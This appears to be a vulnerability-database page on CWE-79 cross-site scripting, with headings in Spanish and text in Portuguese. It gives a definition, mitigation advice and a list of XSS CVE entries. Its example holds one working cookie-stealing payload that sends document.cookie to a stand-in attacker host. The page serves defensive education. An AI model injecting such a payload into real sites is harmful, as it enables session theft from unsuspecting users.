Fallos del tipo CWE-79

29.914 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-51732MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51726MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-20249MEDIUMA vulnerability in the web-based management interface of Cisco TelePresence Management Suite (TMS) Software could allow an authenticated, reEPSS 0.4%CVE-2023-51722MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2026-34691CRITICALAdobe Experience Manager Forms JEE | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-51724MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51739MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2024-33465HIGHCross Site Scripting vulnerability in MajorDoMo before v.0662e5e allows an attacker to escalate privileges via the the thumb/thumb.php compoEPSS 0.4%CVE-2024-8022MEDIUMGenexis Tilgin Home Gateway cross site scriptingEPSS 0.4%CVE-2026-62368HIGHSnipe-IT: Stored XSS via Custom Field name in asset-list column headersEPSS 0.4%CVE-2024-9276MEDIUMTMsoft MyAuth Gateway index.php cross site scriptingEPSS 0.4%CVE-2025-13612MEDIUMAlbum and Image Gallery Plus Lightbox <= 2.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's ShortcodeEPSS 0.4%CVE-2023-28783MEDIUMWordPress Woocommerce Tip/Donation Plugin <= 1.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-13732MEDIUMs2Member <= 251005 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-25707MEDIUMBUG-000160241 - Reflected XSS in Portal for ArcGISEPSS 0.4%CVE-2024-26300MEDIUMA vulnerability in the guest interface of ClearPass Policy Manager could allow an authenticated remote attacker to conduct a stored cross-siEPSS 0.4%CVE-2026-17209MEDIUMIBM Db2 Mirror for i is affected by multiple vulnerabilitiesEPSS 0.4%CVE-2026-111984MEDIUMAUTOMATIC1111 stable-diffusion-webui Card Builder ui_extra_networks.py create_item_html cross site scriptingEPSS 0.4%CVE-2023-20248MEDIUMA vulnerability in the web-based management interface of Cisco TelePresence Management Suite (TMS) Software could allow an authenticated, reEPSS 0.4%CVE-2026-47099LOWTeleJSON < 6.0.0 DOM-based XSS via parse() FunctionEPSS 0.4%